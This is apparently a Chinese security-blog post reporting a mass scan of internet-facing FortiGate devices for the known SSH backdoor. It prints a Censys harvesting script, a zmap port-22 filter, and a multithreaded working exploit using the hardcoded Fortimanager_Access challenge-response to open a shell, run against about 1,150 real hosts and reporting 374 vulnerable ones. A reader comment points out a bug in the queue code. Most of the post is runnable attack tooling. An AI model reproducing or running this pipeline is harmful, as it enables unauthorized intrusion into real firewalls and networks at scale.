最新消息:欢迎大家关注安全工具箱微信公众号,域名信息查询,微信搜索安全工具箱添加关注即可,或访问在线安全工具箱

飞塔SSH后门 4900台机器样本测试报告

漏洞预警 表哥C 3930浏览 0评论

测试逻过程

1. Censys拉取数据

通过censys拉去了50页面的结果
通过

  1. 443.https.tls.certificate.parsed.subject.organizational_unit: FortiGate

关键字
使用官方的api进行拉取,脚本如下:

  1. import sys
  2. import json
  3. import requests
  4. API_URL = "https://www.censys.io/api/v1"
  5. UID = "0"
  6. SECRET = "0"
  7. def get(page):
  8. data = {
  9. "query":"443.https.tls.certificate.parsed.subject.organizational_unit: FortiGate",
  10. "page":int(page),
  11. "fields":["ip"]
  12. }
  13. res = requests.post(API_URL + "/search/ipv4", data=json.dumps(data), auth=(UID, SECRET)).text
  14. #print res
  15. results = json.loads(res)
  16. for result in results["results"]:
  17. print "%s" % (result["ip"])
  18. for i in range(1,50):
  19. get(i)

2. 筛选出开放22端口的ip

原始数据长度:

  1. [root@xunzh 8]# cat ip.txt |wc
  2. 4900 4900 74466
  3. [root@xunzh 8]#

通过zmap进行数据筛选

  1. zmap -p 22 --whitelist-file ip.txt -o out.txt

最终剩下

  1. [root@xunzh 8]# cat out.txt |wc
  2. 1150 1150 16323

3. 对其进行扫描

通过修改原始测试脚本进行测试,添加多线程模块

  1. #!/usr/bin/env python
  2. # SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
  3. # Usage: ./fgt_ssh_backdoor.py <target-ip>
  4. import threading
  5. import Queue
  6. import socket
  7. import select
  8. import sys
  9. import paramiko
  10. from paramiko.py3compat import u
  11. import base64
  12. import hashlib
  13. import termios
  14. import tty
  15. def custom_handler(title, instructions, prompt_list):
  16. n = prompt_list[0][0]
  17. m = hashlib.sha1()
  18. m.update('\x00' * 12)
  19. m.update(n + 'FGTAbc11*xy+Qqz27')
  20. m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
  21. h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
  22. return [h]
  23. def main(ip):
  24. client = paramiko.SSHClient()
  25. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  26. try:
  27. client.connect(ip, username='', allow_agent=False, look_for_keys=False)
  28. except paramiko.ssh_exception.SSHException:
  29. pass
  30. trans = client.get_transport()
  31. try:
  32. trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
  33. except paramiko.ssh_exception.AuthenticationException:
  34. pass
  35. trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
  36. chan = client.invoke_shell()
  37. oldtty = termios.tcgetattr(sys.stdin)
  38. try:
  39. tty.setraw(sys.stdin.fileno())
  40. tty.setcbreak(sys.stdin.fileno())
  41. chan.settimeout(0.0)
  42. while True:
  43. r, w, e = select.select([chan, sys.stdin], [], [])
  44. if chan in r:
  45. try:
  46. x = u(chan.recv(1024))
  47. if len(x) == 0:
  48. sys.stdout.write('\r\n*** EOF\r\n')
  49. break
  50. print ip+" ok \n"
  51. break
  52. except socket.timeout:
  53. pass
  54. finally:
  55. termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
  56. ips=open(sys.argv[1]).read().replace('\r','').split('\n')
  57. q=Queue.Queue()
  58. for i in ips:
  59. q.put(ips)
  60. class mm(threading.Thread):
  61. def __init__(self,queue):
  62. threading.Thread.__init__(self)
  63. self.q=queue
  64. def run(self):
  65. while True:
  66. line=self.q.get()
  67. try:
  68. main(line)
  69. except:
  70. pass
  71. for i in xrange(10):
  72. mm(q).start()

使用方法:

  1. python scan.py input.txt

4. 总结

扫描结果是存在374台漏洞机器,大约站了原始数据的13分之一1,如果按照这个数量来计算,全网大约有5000台以上机器收到影响,将漏洞主机标注在地图上,结果大致如下:

来自为知笔记(Wiz)

转载请注明:安全工具箱 » 飞塔SSH后门 4900台机器样本测试报告

发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (3)

  1. 出的好快
    ZMOM10313年前 (2016-01-12)Reply
  2. 脚本中的 q.put(ips) 需要改成q.put(i)
    xdxd3年前 (2016-01-13)Reply
  3. 22.ssh and 443.https.tls.certificate.parsed.subject.organizational_unit: FortiGate
    wwer2223年前 (2016-01-16)Reply